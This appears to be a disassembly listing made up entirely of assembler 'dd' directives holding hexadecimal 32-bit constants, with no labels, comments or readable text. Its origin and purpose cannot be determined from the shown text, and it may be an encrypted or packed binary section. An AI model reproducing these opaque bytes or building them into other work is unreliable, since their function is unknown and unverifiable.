dd 0E551A560h, 3B2F286Dh, 578D139h, 0E43BDF5h, 2927AF36h
dd 0C5281043h, 5D97710h, 3C115087h, 6248EBC0h, 0E9570CD5h
dd 495895A8h, 0C65455ECh, 9758F7DAh, 11613114h, 7DE0BAC7h
dd 0F0E882FAh, 764BF968h, 7FC4C0F9h, 61F0524Ch, 617A12DBh
dd 0D57FF5Ah, 0F4EF79BFh, 33D2DFF3h, 194B09AEh, 9E5E5D62h
dd 8E538F40h, 0EB310508h, 0B877DCE9h, 0B7E1E73Dh, 0F672013Ch
dd 6EB52E78h, 0C9EF9F73h, 1D20DD05h, 0FD32F44Bh, 7E627095h
dd 819A2A56h, 31C92AEFh, 0EAD89DDAh, 7A062204h, 29FE5E29h
dd 96BB3C61h, 0EF0309FEh, 0C6D8A02Ch, 42E79B51h, 541B9AFh
dd 0EEC74021h, 78BF6780h, 28CE6864h, 3B272608h, 0B5EE98Dh
dd 0EBD39C6h, 0F525F8C2h, 0E16C2A90h, 0C66967B0h, 0E807E3BEh
dd 907DEE63h, 0FE03589Ah, 0B4453C84h, 0F513AC9Eh, 5BEE04Ah
dd 0AEF301A7h, 8A4E4DCBh, 0FBB25B60h, 0E9F86637h, 0BEF51E05h
dd 40E428CCh, 314FAD4Ah, 0AEB423ECh, 0E38143A2h, 0F8215D47h
dd 2B02DDEFh, 66E9154Ah, 5E6CDF4Fh, 0CC61CE26h, 431B4B40h
dd 9659867h, 67DB93Fh, 0F379C6D4h, 164B8420h, 51D752h
dd 0CC775F19h, 5025E934h, 68F110E5h, 0F5384116h, 0FE52292h
dd 0A5CA1BF7h, 10C70956h, 0C88387E2h, 3A2DD8A7h, 11BE667Ch
dd 0D95A1C15h, 6493DE50h, 0EC345D44h, 6F3F847Ah, 8232CBE9h
dd 985DBFA7h, 384DBEF3h, 0FAA601CEh, 4A9402CCh, 9F4063F5h
dd 130B32E2h, 0A0E3C11Ah, 822CF263h, 280CC130h, 21C5D17Bh
dd 63F37F11h, 0E707541Eh, 5A8AFFDBh, 35016439h, 0B3648F49h
dd 0B2F4838h, 0CA52BA5Ch, 61BD513Fh, 2E3E3C68h, 13754031h
dd 0A1C30F64h, 6C685D87h, 4C5FEA4Eh, 0EB14DCEDh, 8D20BF6Ch
dd 870F0C64h, 510C42D0h, 72F3FFA0h, 894BE718h, 9DCA2158h
dd 47BF0AD8h, 8C48241Ah, 385956F4h, 0D0F72560h, 3ED2CD05h
dd 7213FABAh, 0B9CC2051h, 0DA2C0A5Eh, 0B703D203h, 6607C45Dh
dd 4073286Ah, 792EBB07h, 53AE4B41h, 0D3285744h, 0C32C81FFh
dd 55F53E47h, 0C81026D7h, 977D2512h, 2C01694h, 1A850F60h
dd 801EC3F0h, 927295CBh, 0D5A6A21Ch, 0D2F62B9Dh, 80F24CD0h
dd 0DBB0CCFEh, 4D0ED265h, 40802280h, 9A524C6Dh, 42E0C20h
dd 0A2190125h, 213AEA9Bh, 4402E247h, 0AFAF95A0h, 8B483093h
dd 0B6E8DD36h, 2EBFFA7h, 0E94111D9h, 4829DB42h, 1DBE3077h
dd 0CC685252h, 13AD7717h, 0B2D67A6h, 0B2DC2D89h, 0CB43C00h
dd 2D2AA705h, 405E156Eh, 0D853B318h, 9DE850D1h, 67205B5Bh
dd 883430B0h, 0A0B7DA8Ah, 0EE430CC8h, 9C029E68h, 20F42D2Eh
dd 0C3E5D7D2h, 66685882h, 6529546Bh, 0A48EC512h, 2A1FFE1Eh
dd 390948B9h, 0E191DD79h, 1B77A2Dh, 0B6F5416Bh, 0DC0525D8h
dd 89E45AFEh, 0D5776ABh, 0B7A7295h, 0CBB6E950h, 6EF8CA2h
dd 34F66B60h, 0C261330h, 0F131720Dh, 0D688EB03h, 775BE97Ah
dd 2DC98134h, 56B76960h, 0ED5F8235h, 25C705A4h, 10FF41B0h
dd 5B26078Ch, 302429C1h, 3C4A601Ah, 0F2297C02h, 851EE0E9h
dd 80FE5A97h, 75D96867h, 48CAF283h, 78FD89CBh, 0A8C4A55h
dd 986C073h, 0C007B252h, 44A2E9BEh, 7C766A79h, 0C9426C67h
dd 1F89DD73h, 0ECA28509h, 0C1DDC888h, 0CF20BA6Dh, 0F706C9C9h
dd 6AEDA13h, 9425E9F6h, 0FFC21E81h, 92546DDDh, 0DE3F61EEh
dd 45762D1h, 72647F03h, 28A41F80h, 0E9763B80h, 812A0AA4h
dd 595B08CBh, 5316Ah, 115A6F0h, 0D3E9DF0Bh, 5284980Ah
dd 0B4500153h, 10EC80CFh, 4B7DD20Fh, 0EFF4C8ACh, 9EE74C88h
dd 83845D20h, 0D808A707h, 0F7C1BB77h, 46218827h, 3F3581A4h
dd 0FB1A12C8h, 0E9FC3626h, 0C91ABEF8h, 0D9005110h, 6E9F389Dh
dd 8F8E619Dh, 90F7D580h, 894CB748h, 8630F97Dh, 9AC31BEAh
dd 6AA03D5Ch, 0BD276798h, 0D3E0D7C2h, 0EB309E98h, 0E9490694h
dd 0D8F8AADBh, 947FF1FFh, 423F988h, 5FC70574h, 0F9608901h
dd 0D2812B42h, 776BF107h, 0F1A9B42Fh, 0ADFC2F2Dh, 4E2B4DC9h
dd 0BF574C40h, 1D66C20Bh, 34565406h, 0E7064606h, 1F90E207h
dd 11A657C4h, 7757B800h, 0EBA6175h, 2737A54Ch, 0B50F09Eh
dd 154911Ch, 882C0D0h, 0C180A864h, 0EFCC5331h, 39E070E8h
dd 17050507h, 8021DC73h, 0F38143A6h, 0EB182D0Bh, 4058434h
dd 3E6CA4D1h, 5025A2Dh
dd 587DC512h, 566BE1D6h, 0F07842DCh, 82CE8100h, 0EC944872h
dd 0F7734077h, 2604D26Fh, 2AE5ED64h, 95BD59F6h, 0AA301058h
dd 0D12D1082h, 39C52713h, 1504994h, 2E17A483h, 4A4130EFh
dd 77756856h, 0EDFE579Eh, 0A7282D13h, 952A864Eh, 7A0BAA46h
dd 0AB3E6E4Dh, 92A80926h, 0DCEE00A3h, 0C151C679h, 0E649FACAh
dd 0FEF06A34h, 3CFB02F6h, 76E93AF3h, 0BD1E9FD0h, 5ACF47B2h
dd 0F01D6545h, 0F3218CAAh, 0EEB987FDh, 0CE94515Dh, 5E5E71A0h
dd 0B4EAE050h, 38A76F00h, 0EC0565B9h, 0C4489529h, 0EC9C4649h
dd 83D88BBFh, 3B717E3Dh, 0C61B10B3h, 3EECFCE9h, 9B4E901h
dd 0EFF03D6Fh, 2C4E12AFh, 1739D468h, 43DAC08h, 0C3A4E957h
dd 6DB38B1Eh, 0F5922871h, 0A85F6BB0h, 4B93688Fh, 34DFE333h
dd 0DEAE8303h, 5D8F16AEh, 0F93BD6CDh, 545002A7h, 7F8A37E9h
dd 5F4A58E6h, 0C83149C1h, 0F2F52FDh, 83A65DD4h, 452AAD0Eh
dd 0ED81453Dh, 0F647A727h, 83F550BAh, 0EC259897h, 6CC7055Bh
dd 164418B8h, 0B04AAC0h, 74E24E69h, 0A9E6809h, 2B0117Bh
dd 95555DE9h, 147BEC94h, 0AD835CBCh, 0B020E55Bh, 302129F2h
dd 0B5186D8Dh, 7A60A63Bh, 5D7B110Ch, 0C3AC8F8h, 8437C58Fh
dd 1EA0260h, 5ECFCD8Bh, 0B1A9FACh, 1420445h, 8FF10EEh
dd 20E99154h, 5C4B446Bh, 0B0173AA9h, 1B1A7EEh, 29ABB951h
dd 0E1F03AD1h, 9F3D3FC8h, 0B7890F86h, 97F88927h, 17FD4A09h
dd 8BB68249h, 795855D5h, 39F17F16h, 0B5309CF5h, 1119918h
dd 0B10412Bh, 66BE8353h, 1F3B171Bh, 9060CEEh, 2B828927h
dd 0BF946h, 4472A4BEh, 0C329331Ch, 23B0EB64h, 7C97CF32h
dd 69EF013Bh, 2E172563h, 0E7D09B87h, 735CD430h, 0B42F69E9h
dd 0E97841DEh, 1212F08h, 0A3839E71h, 0F74EF552h, 7222DD79h
dd 407B5070h, 0E678DD89h, 964191F4h, 0B04D82EAh, 0A4405509h
dd 6B2785F9h, 1290F2A8h, 30015332h, 72BF357Dh, 6813487Ch
dd 93FC41B8h, 0CE00B8DAh, 59E5086h, 7DDB60B5h, 0FA612EAFh
dd 4CB2108Fh, 1C60048Fh, 0B1046287h, 68B8166Dh, 1CB1A24Eh
dd 4F386753h, 0DEDBF6BDh, 143BDA25h, 555A2A05h, 91E91273h
dd 0EB084032h, 36F11016h, 256AF99Fh, 792DB3C7h, 4C02911Ch
dd 5EFB599Ch, 46C23E1h, 0FE2D1184h, 662FBF3Dh, 0CE95506Dh
dd 2C5995C8h, 9D015EC5h, 56CF7C47h, 6760C82h, 58557BB2h
dd 420882CBh, 5C84240Eh, 8BDF39B9h, 23148126h, 83FD99Dh
dd 0EB81ED02h, 105034D0h, 9F4BE8ECh, 5D699273h, 209D5E1Ch
dd 4A7EB293h, 38050239h, 50E74BA1h, 0D3588AABh, 98BB0B9Dh
dd 125854D0h, 0CC596A68h, 0C74D2A15h, 58C112A1h, 33CAF7ACh
dd 0B5C488BCh, 0BB534700h, 24A02D37h, 80B82125h, 4B01C4C7h
dd 0FA4E295Eh, 0AB1FECB6h, 0C02EB83Bh, 0B652025Ch, 33DD306Dh
dd 5BFEC09Dh, 0DFD65CF6h, 57ED004Ah, 0F209EC68h, 27AECFFh
dd 0EA052D92h, 80627CB6h, 84B307C3h, 0D653E2BFh, 21522DEBh
dd 2F57924h, 0B10C40EAh, 0A132E8B9h, 3C67B337h, 0AA681D25h
dd 0E4276801h, 5FE61846h, 528C2863h, 9F37E80h, 29388D02h
dd 0DC607BEAh, 34CAF10Dh, 281CBE80h, 67D5C77h, 7F795DDEh
dd 0E2F5033Dh, 0F04CFE51h, 0D254F601h, 0ED37FA08h, 1228D5A6h
dd 0EC68E9DDh, 0B9B95A42h, 0E5A980B4h, 37138805h, 7EC52EE9h
dd 84F245EFh, 0F495BAFEh, 0C6A92F18h, 4058B0FBh, 172B68F2h
dd 83178B38h, 97B65640h, 1D54CE80h, 0B908E6C0h, 0C1E97585h
dd 0F275886Bh, 6FC32E16h, 811357C4h, 0AFC19184h, 656817CDh
dd 7E006248h, 0C14C7A69h, 599707E1h, 6FBB0202h, 4775B41Ah
dd 0E24C3064h, 395D1D1Fh, 8EF2858h, 80E4E927h, 2C685FFEh
dd 218BF10h, 44BB2F9Ah, 0D8EB5844h, 19F86B8h, 1C772141h
dd 98186D72h, 5060213Eh, 1DF4BDA4h, 0BA61F40Dh, 0C17A0B3Ah
dd 2403DB02h, 403FC35Fh, 9255BD63h, 19F39796h, 18A55E10h
dd 0CF4E5D5Ah, 0C33B5E4Dh, 404E48A5h, 21A511A2h, 2FCCB174h
dd 0B42B1B39h, 0A25B1207h, 0D6E483B9h, 7B0B8A32h, 8072A07Dh
dd 396EA423h, 7FCDEC60h, 3BC50170h, 5A68D5F7h, 22372E5Bh
dd 88CA9074h, 255A357Bh, 9D0BFECCh, 1E248202h, 0F3E9A075h
dd 97C8B28h, 8DE9536Fh, 3FB7CD61h, 76276F6h, 0DD058E9h
dd 6C17F198h, 4C033833h, 2F2D282h, 2EF1C751h, 0F40077Ah
dd 0B2276EECh, 750F866h, 2935D90Dh, 17C6E5FEh, 0E937F408h
dd 0DF11B92Ch, 205822A5h, 9BE777EAh, 82685000h, 0B6593D38h
dd 48625A4Eh, 8266797Dh, 0D4508F2h, 8C7585D5h, 0A83BA7A1h
dd 0C16E1BF9h, 92D7F0C3h, 0B8B75B4Ah, 78E679A5h, 54805818h
dd 0BA50BB8h, 39E9AA76h, 0B241EAE2h, 9240303Ah, 0FADDC34Fh
dd 0E24B2F2Ch, 87AFDDC8h, 0F36440DCh, 258898A0h, 0FA7958E7h
dd 452CDE25h, 0ACC8BE2Fh, 502E496Ah, 0C842E600h, 0C18A0F75h
dd 0A75B7E62h, 0A214FF86h, 55107B5Eh, 27E704CDh, 78D93B1Ch
dd 0E9A07278h, 99CE769Ah, 1793E6C2h, 0CC2BBD42h, 0B0D3A204h
dd 0D1B758B2h, 42424A65h, 41743D0Ch, 0C0125F45h, 55643A87h
dd 87A872FEh, 87EF5377h, 0AFC06E9h, 759A2D22h, 0E00F63FDh
dd 529EE9DBh, 793C1E4h, 0F247C53Eh, 2A785969h, 42B314C1h
dd 15F1320Ah, 6891003Ah, 69B5197Fh, 454A5A2Ch, 0EFC241ADh
dd 12099EC8h, 5454E9D3h, 4B751CA9h, 219E3505h, 0A122EF7h
dd 0F9565912h, 5644F537h, 98CC20F9h, 0EDE91350h, 0A869241Bh
dd 16163257h, 0AB940B45h, 2DFF4C9Dh, 13D15AD3h, 8B91A517h
dd 982FE870h, 2145F996h, 70EBBC24h, 0B754E058h, 1AC95B79h
dd 36C7512h, 9ACD35E2h, 8E817689h, 2A9607BFh, 6491FD42h
dd 0E777D1F6h, 46C22D4Ah, 2E60754Ah, 777C797Fh, 339FB42Bh
dd 2AF2913h, 0EB48FF4Bh, 0D035EA85h, 7C0A0514h, 7C6B8725h
dd 1C0720F9h, 2748A2E9h, 0A4AB1CDFh, 0E7EA2752h, 5780A273h
dd 382ED8BFh, 0E94F0B5Fh, 0D422FAF9h, 442D2180h, 2BA18441h
dd 5FF07E06h, 2F02109Ch, 0C16F0518h, 56ECCFBBh, 0C1014E62h
dd 52A16E6h, 0D00980A1h, 0E9B36C2Eh, 3A9A0F71h, 5818F895h
dd 372057D0h, 6231D2BBh, 66000B13h, 9FF3CF31h, 0C20BFE08h
dd 0A4571EE8h, 5F4C20FCh, 0ACA85D5Bh, 63F16FADh, 12966D33h
dd 0BABBC461h, 69AEC7F0h, 1C82466Ch, 0C520999Eh, 9D561CBEh
dd 0AB6B7B82h, 0C0E5C102h, 0BEDF525h, 1A3C750h, 0A44978Eh
dd 0CB3DA81Eh, 70D0AB70h, 0FC6B22D4h, 3F1EDDEEh, 1CB3D78h
dd 5AA1DC6Dh, 0C268C9D9h, 15012h, 200CAC77h, 0F45FF8E8h
dd 0A8BE1756h, 293F0915h, 0D720FB79h, 0E9580C80h, 8559C432h
dd 0A6A283EDh, 4FC29DD7h, 56BC9A1h, 7F0333ECh, 0EBC14BBAh
dd 9F1A428h, 0BD84CE7Eh, 0E9990775h, 0B51C14A6h, 0F0175E5h
dd 7B7168C8h, 7F120A76h, 94DCF8E6h, 6D610043h, 0BB530BBAh
dd 68120064h, 7FE3810Ch, 2C60F133h, 455ACA0Ch, 9C909D72h
dd 66265016h, 100326Eh, 9D410A5h, 645B58D9h, 10E90E2Ah
dd 3BE0868Bh, 0AF8EBC47h, 4E0D165Fh, 0C6BAC029h, 0F82D0231h
dd 85365C0Ch, 0A99822E9h, 58AE4FA8h, 35CF2C4Eh, 0D37A4B25h
dd 0C90B0950h, 0E817B982h, 0C8926802h, 5A80E9A6h, 0BD192033h
dd 8E46B23h, 5DEF3102h, 40269505h, 70BCE92Dh, 292EE174h
dd 0F5F430F3h, 80701297h, 0EAE3DB00h, 0C9051C0Dh, 0AD141406h
dd 42F6200h, 17FEE903h, 40BD6FB2h, 9DE7988Dh, 9AE2CA76h
dd 0A7E4540Bh, 0C5B0EF46h
dd 234A6D2Fh, 0C957030Ah, 7125DCD6h, 4D27817Ah, 2BCC3FAFh
dd 806E54B6h, 0C1404528h, 0C99F50C7h, 0BA123513h, 46160F21h
dd 5AA27085h, 2B1B678Dh, 5BF89FE0h, 0E8283113h, 0BB161571h
dd 4BF0530Eh, 0C4EB56C7h, 5E8165F9h, 0C204071Dh, 5BD5FA43h
dd 52530CDEh, 56B55533h, 2E9D022h, 590A65B4h, 3600B955h
dd 895D7A71h, 7D5B8CDh, 926BC6EDh, 0D216FE2h, 40078B4Fh
dd 0FF5529D9h, 0F5095C74h, 7F7BCCE9h, 0C7EF8919h, 36BB1000h
dd 0D10CA309h, 0B64CF8E3h, 82BF004Dh, 0BA746320h, 0BA0B866Ch
dd 0D189275Fh, 4184BE76h, 0EFC26519h, 8A915F55h, 2ECE7043h
dd 0F38149B6h, 73DA5DECh, 0D63B21h, 0C0C7C657h, 0D8285917h
dd 0EF2F01BFh, 2F1A45E9h, 7180F3F2h, 0F742ED4Dh, 4C40DF5Fh
dd 5F5737CFh, 46E90B72h, 4755010Eh, 81E02D5Bh, 9FB688E9h
dd 25A7D425h, 1F69028Fh, 2AD24A43h, 0CEF7F693h, 61E6A009h
dd 90442120h, 0AA22B0E3h, 99F480FAh, 0FB2F7539h, 943FD320h
dd 46908239h, 4041280Bh, 8A8F74C4h, 4C35E24Fh, 7EDF06AFh
dd 0FC2D8521h, 848AA0B7h, 25719C74h, 5B1ACA29h, 794576F4h
dd 597B3EA7h, 7158980Eh, 946CE4Bh, 221B09E9h, 5DE48230h
dd 0D3697B99h, 0E54A3E50h, 0B828D90Bh, 1D48071Fh, 3F78969h
dd 0D74882FBh, 41EF0193h, 0B02E08EAh, 39132B52h, 0A63077FBh
dd 6EFECE46h, 53802C1Dh, 7AE90D3Ch, 0C9A8D25Ah, 51C9CEA7h
dd 247D6CD5h, 8BF6F88Dh, 6EB617DDh, 36A4E90Bh, 20AE9601h
dd 40F8B57h, 29E8280Ah, 0E0C2DAh, 0AC6259B6h, 0D9F72843h
dd 1F5F2AE4h, 0F17E2791h, 0DCC37368h, 7A606671h, 8925580Ch
dd 0A7E9163Fh, 3DF2279h, 64E2E140h, 3A4EA62Ch, 1EB74984h
dd 0C756B4FFh, 0E9C94106h, 0B738BDD7h, 486355D1h, 0D8AAB451h
dd 0E11FB7C4h, 0C1CBF828h, 0DB165D42h, 0A33EC09Fh, 0CC1AB7F0h
dd 0D556BDC2h, 0C069562Fh, 4A596851h, 2160F125h, 0FAF4E9D6h
dd 8ED0D03Bh, 171CD3A8h, 6E92222Dh, 5C8B405h, 0D359070Eh
dd 893E2DABh, 50DDE90Dh, 0CE0BB7ACh, 8AB14C74h, 78F8F4BDh
dd 0A04EB219h, 30427F14h, 630C2B04h, 53048E3Fh, 2E68FB01h
dd 4083B3AFh, 7C4FE90Fh, 1C2E8F14h, 83929031h, 0AA813CF1h
dd 3738A82Dh, 10252210h, 0A84F3012h, 6AF35FEDh, 582F89CCh
dd 7D30629Fh, 0BE95279h, 0DDF02F3Fh, 76A2B88h, 0E3808AB1h
dd 0BBDCC0D9h, 0D1148FD3h, 81C2A6C1h, 1567ED3h, 34C9DA7Dh
dd 880F53A1h, 50476428h, 5194B007h, 0C8A0DDB1h, 9DC73059h
dd 75CE1760h, 8BD7FC0h, 0BC7C3E1Eh, 0E64905DBh, 6180FFC1h
dd 35E9EE09h, 0CA2CB16Fh, 10B25B6Eh, 844D12D6h, 51EA71FCh
dd 685600D1h, 933A12A3h, 4F342154h, 763BB77h, 306864DFh
dd 0CA47EDB2h, 9E46063h, 808BBC9Bh, 9845D0F6h, 0F1608972h
dd 4660EF12h, 52180179h, 0E365E0BAh, 9FE62026h, 5C281512h
dd 0E2B340EAh, 1C6030Dh, 47FC1EC1h, 73A2552h, 91B850E0h
dd 2F8BDA53h, 61C616F0h, 0D52176B6h, 20D5215Ah, 0E438ED4Eh
dd 320251Dh, 5A306155h, 68586F2h, 451ECEA0h, 290B970Dh
dd 50F8A4F3h, 53350257h, 37DE685Dh, 0D42FDEA5h, 729EAE51h
dd 0F25EB4Bh, 50FECAFEh, 63408A23h, 60B3EC58h, 61EE492Fh
dd 0CB010224h, 5B08D605h, 1530566Ch, 6EBA803Ah, 70CF1212h
dd 0ED0CD0FCh, 89808F30h, 4F10712h, 82C50FEh, 2155A24h
dd 4B5539FEh, 10B80BE1h, 4D1E44CFh, 0EB0E5A0Ah, 7DAB0D13h
dd 0E5E6A557h, 192405A1h, 0A544609Ah, 0A94AF3EAh, 77C140FFh
dd 0F0E174Fh, 21049935h, 0F347E954h, 7FF62D81h, 2A394263h
dd 21D04F4Bh, 36F68FFh, 0F510BF66h, 135F3B75h, 39AA532Eh
dd 0CE72F99Ah, 250FC755h, 0A73954D6h, 0D7EF62F1h, 0E067E3C8h
dd 89310AC9h, 65E880BCh, 2508DC76h, 0A5E4FB89h, 1AEDBF07h
dd 0F977FA7Eh, 0CDD431C5h, 3087EFC4h, 0E22D070Eh, 4A8CCF6Fh
dd 68E142C6h, 777827BEh, 874019DAh, 375CE161h, 3E551082h
dd 600CB84Bh, 5B624FB8h, 0D3681461h, 14847844h, 0BA5800D7h
dd 5F155654h, 0C038C555h, 7970FA18h, 22663841h, 5B04E94Ch
dd 0C24D8255h, 560B2DD3h, 0CE8539F9h, 0C5315C08h, 0B69700B3h
dd 0C51BE92Dh, 42465E95h, 4104DFCAh, 81C0E4EAh, 7E05D8C1h
dd 0EA47603Bh, 41B5D86h, 486F74CAh, 14508740h, 8F82BA02h
dd 0B89EED6h, 17E952CEh, 5A5BF922h, 0E9F0A561h, 519749Bh
dd 3715280Bh, 0FE0B580Bh, 5820976Ch, 7A051FEAh, 7D1D6E5Ah
dd 4F826885h, 5E891ACDh, 2E684321h, 0D8B7472Dh, 0FB5A4AFAh
dd 977E3229h, 2268408Ch, 0F84BE939h, 0C48044C1h, 41DE0070h
dd 0D0F12B8Dh, 5756CACAh, 7538647Ah, 58294F51h, 382DF641h
dd 0E3905207h, 0E480EB77h, 4324B5FCh, 1B091A30h, 1717D184h
dd 4B1680A9h, 0E77FB455h, 5C1356B6h, 9BAD2E75h, 21706D12h
dd 0D390A2h, 0B23BEA80h, 8B71F4Fh, 0E09C92E2h, 0D3628760h
dd 7ED1CF81h, 0B2BA864h, 0D953D005h, 892536D8h, 0C9809B19h
dd 85419D61h, 6800D68Eh, 0E7C41429h, 33B80855h, 106350D8h
dd 0BB0C4DE2h, 3CB839A5h, 3DA59402h, 1638F75Fh, 63208CCBh
dd 4F3DF0B0h, 9B64B54h, 4382770h, 2CD01DF9h, 975A660Eh
dd 87E8FF0Ah, 4080E90Bh, 1649B8D6h, 0AB391924h, 6B90101h
dd 94846867h, 84A79E6Dh, 1B8C283h, 0F0D1A8F7h, 755D8132h
dd 97A486C5h, 0D413B826h, 4B4A1EC1h, 30E95F70h, 0E62318BFh
dd 0EF26454Eh, 3B1D8367h, 0F85A8FC9h, 0C16D4A13h, 0C9CA88D8h
dd 6E8E21D4h, 0DD58ABCBh, 53B4BD7Ch, 0D1A62ABBh, 0A27C942Dh
dd 0E8E54AB4h, 82DC7A1Eh, 15ED8640h, 1191A17h, 8BCAA8A1h
dd 0DE260408h, 488345BDh, 0E8F26069h, 0E9A08D93h, 8CA4FDB8h
dd 413C8609h, 0B44EA00Fh, 0B850C563h, 43750F16h, 8EC37658h
dd 33507E4Bh, 8C3B4A6Ah, 2BC90321h, 96075869h, 48FC094Ch
dd 0B295263h, 9A816F7h, 160D7CA6h, 0F820BF58h, 0BB530361h
dd 18FE39FBh, 6B460BD9h, 4978CDE2h, 5D0B7EEBh, 337FF989h
dd 0CE6F967h, 0F1D810E9h, 2B1713BAh, 0A7660077h, 0E97E4549h
dd 67901F30h, 2E80D0B7h, 9D20EF7h, 6BCE0131h, 2F3EC070h
dd 0E1E2DA07h, 0B28F35C0h, 239073F7h, 5260DB0Ch, 13D1FA61h
dd 0F12AD240h, 88DFA0Eh, 0C514041Ch, 32DBBF80h, 0FB5FFB16h
dd 4F0B5063h, 8AC20252h, 9082656Ah, 9E7F5466h, 59D99755h
dd 0BECFE985h, 40F36D98h, 7F00B845h, 0D52FF1Eh, 9D7902h
dd 2795051Ch, 92E94FF6h, 68144B9Ah, 0D4E060AAh, 2E720560h
dd 948D5EB2h, 13F18360h, 631AB0Bh, 0B7342B4Dh, 1FD4E63Bh
dd 8D05202Fh, 8C94CD6Eh, 5A8EDCEEh, 41A5E927h, 296E5623h
dd 6857E8A2h, 1D3E5809h, 2465E50h, 39434EF8h, 30BCD05Fh
dd 0E78F9E53h, 92DE7D5Dh, 549250CBh, 56219226h, 581ED8Fh
dd 36775A5h, 238EF412h, 2E1E417Ah, 0F65F69D1h, 325ED06Eh
dd 6BB9014Dh, 0EB83103Fh, 3840AE4Eh, 0C94550C3h, 3B0CC411h
dd 0FD7D8473h, 5108401Fh, 1B207EB0h, 0E26AFFABh, 425D7BCEh
dd 1BC4A02h, 18DBDC10h, 64D0D721h, 0F1F3C052h, 11BCCD48h
dd 82CBD5B0h, 8A8ECCEEh, 0E78180E0h, 0BAE54CE9h, 0C4AFB7B0h
dd 0A5A0444Ah, 89420F54h, 0C286DCD1h, 7C0B43E7h, 8EB0329h
dd 0FDE2094Ah, 8B0FBEC8h, 67B5ACE3h, 2365F303h, 32E5B02Ch
dd 12C22749h, 86BC07F6h, 22061D26h, 2604712Ah, 270798Ch
dd 1046C984h, 7DBC42DFh
dd 4A804068h, 0B56B4526h, 7A8CD925h, 4484D15Dh, 0A61BA802h
dd 7AF20B60h, 66040FADh, 3A0D0367h, 251FD036h, 527380h
dd 49C42D19h, 0C729C9B4h, 0DC8B585Fh, 487EE944h, 1C9A7716h
dd 68474877h, 9A6B4A70h, 0CCFD5E67h, 0F4A2E8A4h, 0C64047E3h
dd 14DBBF0Dh, 0FF1FC30Bh, 0DDD98F10h, 3FF88AAh, 0ED2DFE49h
dd 0E49544EBh, 0F0648450h, 1106961Bh, 0DD296136h, 0D0ED5FE4h
dd 0E9D5012Dh, 7782C65Dh, 0F392DD67h, 0E03D9002h, 8B330209h
dd 67FB1BE0h, 0C78474Ch, 0CEEC77DBh, 523F0CE7h, 30C1959h
dd 7475171Fh, 6E50CF02h, 0F66626Ch, 9B4E81CDh, 0A03E31E5h
dd 0E70CF539h, 9268E87Fh, 742018DDh, 503D186Ah, 89FE752Fh
dd 9BB076D0h, 9610F346h, 5C1629B9h, 3FCBBE57h, 0C913A34Ah
dd 0AEC0FF68h, 0CE5ED6E9h, 80A139EDh, 0FF722BDEh, 0F274E3C1h
dd 2753DCE2h, 1424B15Fh, 0AD9EA11h, 2148295Bh, 0C2077B06h
dd 0E375DAF6h, 28360FA1h, 8918246Fh, 3F1E7AE6h, 6CCA1A40h
dd 2114FE2h, 0FFED800Eh, 0FE3AE561h, 0B17ECDh, 0F1107F68h
dd 52530941h, 0F219055Bh, 0B4EF6DF4h, 0EAD10F79h, 811BEC9Ch
dd 0BE880F45h, 572624Dh, 3F373278h, 0BA5085AFh, 6F027C3h
dd 73810FB2h, 0EE970CDAh, 3398208Dh, 20CF8B25h, 8002B1DCh
dd 24F772E9h, 5280F6A9h, 0D1C1E0DDh, 55FAB588h, 5352B912h
dd 0DA1F4CE8h, 0BAD7565Bh, 0B252A960h, 0B7E92E4Dh, 0EEC18734h
dd 76FB8206h, 960E8DEh, 0D2670A32h, 0C6610120h, 3A98F5CEh
dd 0F6850D2Dh, 818C72B3h, 682BD9h, 52581BBh, 0F7435E06h
dd 8216FFDBh, 26FF4290h, 0F63576E0h, 0E3B9133Dh, 277AF873h
dd 87FA475Fh, 33E1F766h, 0AFF4B468h, 0BFC31ADCh, 16D70D42h
dd 0E9A3910Fh, 0BB0883D3h, 5A5F09FFh, 3034BEFFh, 0C217A972h
dd 83284EFEh, 4558AA3Ch, 87F78119h, 50F0FF2Bh, 10D801B8h
dd 0A0E90A8Fh, 34257A43h, 7968C590h, 61371562h, 0BB80F05Fh
dd 59201FCDh, 0E9DF310Eh, 7501C9AAh, 0D1918EC5h, 0F885E90Ch
dd 0FE4113A7h, 0F0CC9ECh, 51D0F633h, 18697486h, 1D95B90Fh
dd 3B80B752h, 0C0FBD88Eh, 348FE9D9h, 86F839A2h, 0E321AD26h
dd 0EE4A8990h, 0CE9B130h, 950BC4AEh, 9973A49Dh, 71C16101h
dd 3FE1CB81h, 32121E9h, 0FF10A06Ah, 4DFCEE5Fh, 0DA91BAD2h
dd 0EB37A49Bh, 9B7B310h, 0C534D568h, 0AF592F65h, 719E1F0Bh
dd 0C0D4929Dh, 30B7B22Fh, 0C0586796h, 0E70258E4h, 3F7E5D10h
dd 1895B480h, 0CFEEC1AFh, 0F41997E7h, 0C8F0105h, 9C3631EBh
dd 82FF25C9h, 0D5792CF6h, 0C0986339h, 1845F92Bh, 453B03E9h
dd 283AB1EDh, 0CEC5BAD5h, 0AB977FB9h, 916C5A7Dh, 923AE75Eh
dd 0EF15D5FEh, 41FE7065h, 0F78011E9h, 304730EFh, 21820B55h
dd 79820156h, 6C911736h, 0B1EF4053h, 0ED3597FEh, 75EEB07Eh
dd 0E4C89C54h, 0C8D0D1Eh, 0BD6FABBAh, 7EB8FB17h, 44F9CB4Fh
dd 23D0EA9Ch, 0E02E3C08h, 0F08E767h, 8EF53384h, 0A013EF13h
dd 20B8128Ah, 0B4424C87h, 699AEFDh, 2568F0CCh, 0C69827EBh
dd 80174925h, 0F4703144h, 7407E9C1h, 9A971381h, 0C88B0F12h
dd 4420D845h, 80772967h, 5CC26830h, 3A25FEACh, 0F500801Fh
dd 1FDBED8Dh, 4CEE2968h, 0B22AF418h, 0CA80F207h, 0BB3AFEEFh
dd 3DFC8D08h, 445DC29Eh, 90084183h, 0D0F7F5EDh, 3B0919BCh
dd 62E45E33h, 3CD97E93h, 0EA6CD749h, 0C309734Fh, 0A5BB7BACh
dd 5F431AFDh, 0CFDA8EE0h, 5EEB1A8h, 30E15348h, 0E4C6D314h
dd 1EC45A66h, 8EE1492h, 0EF1BA45Dh, 6DB16D2Ah, 96057232h
dd 0ABD034FAh, 0F29742F3h, 9EE5D2A7h, 27D1A840h, 5C64768Eh
dd 77176B59h, 19C4E70Dh, 0A6FFA27Ch, 22211FAFh, 2B6ADB68h
dd 56643E31h, 0F1405A02h, 0EC5C8007h, 3E8519A2h, 0E2DB41CCh
dd 68FF98B0h, 8C284BA6h, 0EDC278CBh, 53BCBE9h, 0AE838053h
dd 6051F407h, 0BE5424DEh, 589E30DFh, 49BFA893h, 0A74AC240h
dd 1AB82A82h, 0A08B36F1h, 0D7147FF3h, 167C7732h, 20A8D25Eh
